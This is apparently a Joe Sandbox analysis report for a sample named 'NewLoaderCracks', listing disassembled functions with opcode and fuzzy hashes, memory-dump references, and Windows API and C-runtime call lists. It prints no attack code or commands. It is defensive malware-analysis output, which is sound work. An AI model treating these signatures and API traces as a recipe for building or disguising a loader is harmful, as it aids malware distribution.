Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction ID: 5386d78962f1db6447604ac24158aa4a331ae955500679df2673a6382acaae57
Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction Fuzzy Hash: 52C182762051930ADF6D8639857403FBFA1BEA27B131A276DD4B3CB1C5FE20D664DA20

Function 00556646 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e50934a3d32a0906e4e04390df4e20cae3864167cc4dee125e86138ceee6d1ec
Instruction ID: 0260f0fe2dbfc8f6b02a0da09942cfe1ed1a55ec18dd8c7d15c7755d71e1742e
Opcode Fuzzy Hash: e50934a3d32a0906e4e04390df4e20cae3864167cc4dee125e86138ceee6d1ec
Instruction Fuzzy Hash: 73D1F3B1A043828FDB14CF28C8A475ABFE0BF95309F44456EEC449B242D734E95DCB9A

Function 005602F6 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: addb623b6dfc2b2d5f96a9498924f4d0051c7a97c5af285f3846c78b9490cdb6
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 6DC1A6762051930ADF6D4639C53403FBFA1BAA17B231A276DD4B3CB1D5FE20D664DA20

Function 0054E2A0 Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10eca14f77452a8004f7181e7178e2cc485d3532622b3a429d5c6d9fddf3adb1
Instruction ID: 6032274fd03de11ea91d8fd380fb5c5c9ed792b5c8a9d53ab0d1ed0be10d5d3a
Opcode Fuzzy Hash: 10eca14f77452a8004f7181e7178e2cc485d3532622b3a429d5c6d9fddf3adb1
Instruction Fuzzy Hash: 7FE148745183848FC304CF29D4A096ABBF0BF9A300F85095EF9D5A7352D335EA19DBA2

Function 00553A3C Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b6a3d46f10441a3051e9d0d7f9b8667803012905bf4d198d95ae77b69715ff4
Instruction ID: 39c0422c6e63dfab722ee3cea431e3996460738dd0f5945e14597ffdf38142b0
Opcode Fuzzy Hash: 4b6a3d46f10441a3051e9d0d7f9b8667803012905bf4d198d95ae77b69715ff4
Instruction Fuzzy Hash: 62915B7020434A8BD724EF68C8A5BFA7F95FF90345F10092EE99B87282DA749B4DC741

Function 00564969 Relevance: .2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50913caf4a0291020e1fc2dbd861be4486ddfcea3ef75a5a55b268de665b1c6d
Instruction ID: 8d22ba7df8ad28b05e3d1c39aa821e3557876516ff318b2c836deb7c23cfa129
Opcode Fuzzy Hash: 50913caf4a0291020e1fc2dbd861be4486ddfcea3ef75a5a55b268de665b1c6d
Instruction Fuzzy Hash: 95619A716C070977DE389AA89899BBF2F96FB41700F140A1AF482DB291D611DD42CF59

Function 00553D6D Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fa2980f550074fd9d5fffc8fceb723f20dffd391df208c388f2810114909e4d
Instruction ID: e37a8a418a856e85fcaba68facd54b30d6b0daeec52956c21be3e9e9916f104c
Opcode Fuzzy Hash: 2fa2980f550074fd9d5fffc8fceb723f20dffd391df208c388f2810114909e4d
Instruction Fuzzy Hash: B7711D716043464BDB24DE68C8E5BAD7FE4BFD0349F00092FED8A8B282DA74968D8751

Function 0056473A Relevance: .2, Instructions: 214COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d25a7c413b64cc1c4dee81fed1a27e24b1c019bc61537549567cd7e8aefb3c1
Instruction ID: f0f0ffbaf8fdaea9c5200085c3ced205f5265e10b89a80666a5a7b1cc82d5b36
Opcode Fuzzy Hash: 1d25a7c413b64cc1c4dee81fed1a27e24b1c019bc61537549567cd7e8aefb3c1
Instruction Fuzzy Hash: D5517B71740A855BDB3899688859BBF6FC9FF93300F180919E982D7282D715ED43CF92

Function 0054DE6C Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c95718df21229ae9e2228b716aa354d552574fa3fe244cac6ef708eb5d956f7
Instruction ID: 6da3b120dfa335472a9f638fefc43ec0c83c3c160c69afb22940ecc48b905cbe
Opcode Fuzzy Hash: 9c95718df21229ae9e2228b716aa354d552574fa3fe244cac6ef708eb5d956f7
Instruction Fuzzy Hash: 928192B121E2D49EC7168F7D38A52F53FA16777340F2824AACCC5A62A3D136495CF721

Function 0054E8A0 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7f0bbc55ca66963c6ce5064a8c10898570b597a6f1defc31345e53f8e64fe87
Instruction ID: 12da63ee2323c8c7102817a43b91369100b0959abd617b2b8be32b64f01f0536
Opcode Fuzzy Hash: b7f0bbc55ca66963c6ce5064a8c10898570b597a6f1defc31345e53f8e64fe87
Instruction Fuzzy Hash: 9851C0319083D64FC712CF2691894AEBFE1BEDA318F49489EE8D55B242D230D649CB92

Function 0054F968 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1a91d25b19205f0e2f2d19660a2342f1c030619e2d565469e72bdd266e12f09
Instruction ID: e14ab95135b2658fa13f2a7a8cec34f93dd8e80ccd9580d5385b951065936d59
Opcode Fuzzy Hash: d1a91d25b19205f0e2f2d19660a2342f1c030619e2d565469e72bdd266e12f09
Instruction Fuzzy Hash: 12513471A083028FC748CF19D48059AF7E1FF88354F058A2EE889A3741DB34EA59CB96

Function 005537C1 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 680dd35d5b71cc1049d84931067584ed44f7cee91fcb56c6d02cf908e44fe073
Instruction ID: 10be9333105271a46e832ed4d1f36c74ba92c8e7c9241ca59e15fe32bc711eee
Opcode Fuzzy Hash: 680dd35d5b71cc1049d84931067584ed44f7cee91fcb56c6d02cf908e44fe073
Instruction Fuzzy Hash: 5131F8B1A147464FC714DF28C8612AABFE0FB95305F10492EE8D9C7742C735EA4ACB91

Function 00545F3C Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edfe2c4fbfbaa12d957617e0ec44ca7fcfe001eae94f70bedff0a648ab0908f2
Instruction ID: b16574a019140cbec9750e26a69dc2be855e3b85c402f6740e9ea47ccff85c96
Opcode Fuzzy Hash: edfe2c4fbfbaa12d957617e0ec44ca7fcfe001eae94f70bedff0a648ab0908f2
Instruction Fuzzy Hash: 1F214972A201214BCB48CF2DECE0C7A7751B79A310746812BEE4ADB2D1C534E82DE7A0

Function 0054DA98 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 236COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0054DABE

Part of subcall function 0054400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0054401D

Part of subcall function 00551596: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00580EE8,00000200,0054D202,00000000,?,00000050,00580EE8), ref: 005515B3

_strlen.LIBCMT ref: 0054DADF
SetDlgItemTextW.USER32(?,0057E154,?), ref: 0054DB3F
GetWindowRect.USER32(?,?), ref: 0054DB79
GetClientRect.USER32(?,?), ref: 0054DB85
GetWindowLongW.USER32(?,000000F0), ref: 0054DC25
GetWindowRect.USER32(?,?), ref: 0054DC52
SetWindowTextW.USER32(?,?), ref: 0054DC95
GetSystemMetrics.USER32(00000008), ref: 0054DC9D
GetWindow.USER32(?,00000005), ref: 0054DCA8
GetWindowRect.USER32(00000000,?), ref: 0054DCD5
GetWindow.USER32(00000000,00000002), ref: 0054DD47

Strings

TW, xrefs: 0054DAFA
$%s:, xrefs: 0054DAB2
CAPTION, xrefs: 0054DC77
d, xrefs: 0054DBA5

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$TW$d
API String ID: 2407758923-2938658339
Opcode ID: c01715d362f267140d270aa9421d42d738bc793f60c0a6ba72cb5aa1e2ec8068
Instruction ID: 4fcda318a1945e42dce8ea80cd0abac83a836a1cdf4c3064267cc3776c9792a4
Opcode Fuzzy Hash: c01715d362f267140d270aa9421d42d738bc793f60c0a6ba72cb5aa1e2ec8068
Instruction Fuzzy Hash: C4818F71508301AFD710DF68CD89AABBBF9FBC9708F04491DFA8893251D670E909DB62

Function 0056C233 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0056C277

Part of subcall function 0056BE12: _free.LIBCMT ref: 0056BE2F
Part of subcall function 0056BE12: _free.LIBCMT ref: 0056BE41
Part of subcall function 0056BE12: _free.LIBCMT ref: 0056BE53
Part of subcall function 0056BE12: _free.LIBCMT ref: 0056BE65
Part of subcall function 0056BE12: _free.LIBCMT ref: 0056BE77
Part of subcall function 0056BE12: _free.LIBCMT ref: 0056BE89
Part of subcall function 0056BE12: _free.LIBCMT ref: 0056BE9B
Part of subcall function 0056BE12: _free.LIBCMT ref: 0056BEAD
Part of subcall function 0056BE12: _free.LIBCMT ref: 0056BEBF
Part of subcall function 0056BE12: _free.LIBCMT ref: 0056BED1
Part of subcall function 0056BE12: _free.LIBCMT ref: 0056BEE3
Part of subcall function 0056BE12: _free.LIBCMT ref: 0056BEF5
Part of subcall function 0056BE12: _free.LIBCMT ref: 0056BF07

_free.LIBCMT ref: 0056C26C

Part of subcall function 005684DE: RtlFreeHeap.NTDLL(00000000,00000000,?,0056BFA7,00573958,00000000,00573958,00000000,?,0056BFCE,00573958,00000007,00573958,?,0056C3CB,00573958), ref: 005684F4
Part of subcall function 005684DE: GetLastError.KERNEL32(00573958,?,0056BFA7,00573958,00000000,00573958,00000000,?,0056BFCE,00573958,00000007,00573958,?,0056C3CB,00573958,00573958), ref: 00568506

_free.LIBCMT ref: 0056C28E
_free.LIBCMT ref: 0056C2A3
_free.LIBCMT ref: 0056C2AE
_free.LIBCMT ref: 0056C2D0
_free.LIBCMT ref: 0056C2E3
_free.LIBCMT ref: 0056C2F1
_free.LIBCMT ref: 0056C2FC
_free.LIBCMT ref: 0056C334
_free.LIBCMT ref: 0056C33B
_free.LIBCMT ref: 0056C358
_free.LIBCMT ref: 0056C370

Strings

PW, xrefs: 0056C249

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: PW
API String ID: 161543041-441173047
Opcode ID: 70bc5bb57ea32ec585939f0147650246eb3a706856d9e1d79b2da1f26caa1d8f
Instruction ID: fadf8d3fd8d9f80b3b37abe8d6e154b37e22e78461ac7d01da74cbdf52eb5f4a
Opcode Fuzzy Hash: 70bc5bb57ea32ec585939f0147650246eb3a706856d9e1d79b2da1f26caa1d8f
Instruction Fuzzy Hash: 6F317E316003069FEF20AA79D989B7ABFE9FF40315F148969E489D7651DF31AC80DB60

Function 0055CD2E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 0055CD51
GetClassNameW.USER32(00000000,?,00000800), ref: 0055CD7D

Part of subcall function 005517AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,0054BB05,00000000,.exe,?,?,00000800,?,?,005585DF,?), ref: 005517C2

GetWindowLongW.USER32(00000000,000000F0), ref: 0055CD99
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 0055CDB0
GetObjectW.GDI32(00000000,00000018,?), ref: 0055CDC4
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 0055CDED
DeleteObject.GDI32(00000000), ref: 0055CDF4
GetWindow.USER32(00000000,00000002), ref: 0055CDFD

Strings

STATIC, xrefs: 0055CD83

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: 07c5d22953409a940efae0fbd9433326db861a604059e9e5ad7d3b4302ba9644
Instruction ID: 0cb90ee4e2e39c503b1d721aec961a9a13320d7db8781d2cb432ef372f04f25f
Opcode Fuzzy Hash: 07c5d22953409a940efae0fbd9433326db861a604059e9e5ad7d3b4302ba9644
Instruction Fuzzy Hash: 3E110D32544311BFE3216B649C1FF9F3E6CFF56742F014422FE41E5091CA78890DA6A4

Function 00568EB1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00568EC5

Part of subcall function 005684DE: RtlFreeHeap.NTDLL(00000000,00000000,?,0056BFA7,00573958,00000000,00573958,00000000,?,0056BFCE,00573958,00000007,00573958,?,0056C3CB,00573958), ref: 005684F4
Part of subcall function 005684DE: GetLastError.KERNEL32(00573958,?,0056BFA7,00573958,00000000,00573958,00000000,?,0056BFCE,00573958,00000007,00573958,?,0056C3CB,00573958,00573958), ref: 00568506

_free.LIBCMT ref: 00568ED1
_free.LIBCMT ref: 00568EDC
_free.LIBCMT ref: 00568EE7
_free.LIBCMT ref: 00568EF2
_free.LIBCMT ref: 00568EFD
_free.LIBCMT ref: 00568F08
_free.LIBCMT ref: 00568F13
_free.LIBCMT ref: 00568F1E
_free.LIBCMT ref: 00568F2C

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 38cf1051498fe998f883bd772ba937d39b27eb7318bb25dc3ea6c7a14fcef2b8
Instruction ID: 7b5b078177a93eeff200b23db70dd182089aa67f62d2d71d421cb79fc3b17275
Opcode Fuzzy Hash: 38cf1051498fe998f883bd772ba937d39b27eb7318bb25dc3ea6c7a14fcef2b8
